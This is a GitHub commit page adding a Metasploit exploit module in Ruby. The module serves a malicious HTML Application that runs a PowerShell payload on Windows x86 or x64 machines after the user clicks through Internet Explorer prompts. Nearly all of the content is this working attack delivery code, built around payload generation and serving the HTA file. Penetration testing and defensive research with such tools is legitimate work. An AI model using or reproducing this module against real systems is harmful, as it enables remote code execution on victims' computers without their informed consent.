Skip to content

Commit bbdb58e

Browse files
committed
Add an HTA server module using powershell
1 parent a0ebf5e commit bbdb58e

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/powershell'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ManualRanking
11+
12+
include Msf::Exploit::Remote::HttpServer
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'HTA Web Server',
17+
'Description' => %q(
18+
This module hosts an HTML Application (HTA) that when opened will run a
19+
payload via Powershell. When a user navigates to the HTA file they will
20+
be prompted by IE twice before the payload is executed.
21+
),
22+
'License' => MSF_LICENSE,
23+
'Author' => 'Spencer McIntyre',
24+
'References' =>
25+
[
26+
['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
27+
],
28+
# space is restricted by the powershell command limit
29+
'Payload' => { 'DisableNops' => true, 'Space' => 2048 },
30+
'Platform' => %w(win),
31+
'Targets' =>
32+
[
33+
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
34+
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
35+
],
36+
'DefaultTarget' => 0,
37+
'DisclosureDate' => 'Oct 06 2016'
38+
))
39+
end
40+
41+
def on_request_uri(cli, _request)
42+
print_status('Delivering Payload')
43+
p = regenerate_payload(cli)
44+
data = Msf::Util::EXE.to_executable_fmt(
45+
framework,
46+
target.arch,
47+
target.platform,
48+
p.encoded,
49+
'hta-psh',
50+
{ :arch => target.arch, :platform => target.platform }
51+
)
52+
send_response(cli, data, 'Content-Type' => 'application/hta')
53+
end
54+
55+
def random_uri
56+
# uri needs to end in .hta for IE to process the file correctly
57+
'/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
58+
end
59+
end

0 commit comments

Comments
 (0)